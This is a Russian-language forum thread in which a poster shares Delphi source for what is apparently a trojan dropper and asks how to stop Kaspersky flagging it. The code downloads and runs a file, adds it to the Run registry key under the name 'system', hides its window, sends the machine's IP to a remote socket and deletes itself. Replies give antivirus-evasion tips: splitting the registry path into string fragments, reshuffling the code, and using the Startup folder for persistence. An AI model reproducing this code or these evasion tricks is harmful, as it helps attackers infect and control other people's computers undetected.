Ругается касперский

[Nexus2116]

Преобразовал его в exe и на него ругается каспер предложите варианты
как это обойти

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, registry, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, StdCtrls, ExtCtrls, WinSock, ScktComp;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    Timer1: TTimer;
    Timer2: TTimer;
    ClientSocket1: TClientSocket;
    procedure FormCreate(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}


function GetLocalIP: String;
const WSVer = $101;
var
  wsaData: TWSAData;
  P: PHostEnt;
  Buf: array [0..127] of Char;
begin
  Result := '';
  if WSAStartup(WSVer, wsaData) = 0 then begin
    if GetHostName(@Buf, 128) = 0 then begin
      P := GetHostByName(@Buf);
      if P <> nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
    end;
    WSACleanup;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  Registry: TRegistry;
  ms:TmemoryStream;
begin
ClientSocket1.Active:=true;
ms:=TmemoryStream.create;
idhttp1.Get('http://',ms);
ms.SaveToFile('asd');
ms.Clear;

   Registry := TRegistry.Create;
   Registry.RootKey := hkey_local_machine;
   Registry.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);
   Registry.WriteString('system','asd');
   Registry.CloseKey;
   Registry.Free;

winexec('asd',1); {Запуск приложения }
end;

procedure TForm1.FormShow(Sender: TObject);
begin
ShowWindow(Application.handle, SW_HIDE);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
   F: TextFile;
   Temp, AppName: string;
begin
      Temp:= 'delete.bat';
      AppName:= ExtractFileName(ParamSTR(0));
      AssignFile(F, Temp);
      Rewrite(F);
      Writeln(F, 'del ' + AppName);
      Writeln(F, 'del ' + Temp);
      CloseFile(F);
      WinExec(PCHar(Temp),SW_HIDE);
      Halt;

end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
ClientSocket1.Socket.SendText(GetLocalIP);
end;

end.

[mihali4]

Грохнуть касперского и перейти на нормальный антивирус !
Сразу предупреждаю - рекомендации по выбору неоднократно обсуждались.

[Nexus2116]

каспер у многих клиентов так что надо обойти это в любом случае

[Alex Cones]

Оставляйте клиентам завещание - мол, добавляйте приложение в исключения. Иначе никак. Касперский - он такой.

[Alter]

Делайте в Create не явную последовательность. Разбейте на процедуры.
Может поможет

[mihali4]

Каспер в истерике от того, что кто-то, как он думает, пытается записать себя в запуск...

Registry.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);

Строку 'Software\Microsoft\Windows\Current Version\Run' разбейте на несколько "дурных" подстрок, например:

var...
  s: array [1..6] of string;
  ss: string;
  i: integer;
begin
...
ss:='';
s[1]:='Softwar';
s[2]:='e\Microso';
s[3]:='ft\Window';
s[4]:='s\Curren';
s[5]:='tVersio';
s[6]:='n\Run';
   Registry := TRegistry.Create;
   Registry.RootKey := hkey_local_machine;
for i:=1 to 6 do
ss:=ss+s[i];
   Registry.OpenKey(ss,true);
...
end;

[Johnson]

как вариант - копирование ярлыка на программу в
C:\Documents and Settings\Admin\Главное меню\Программы\Автозагрузка
проверено неоднократно и на разных версиях каспера... не ругается.
я понимаю, что это ректальная танзилектомия, но иногда проще так...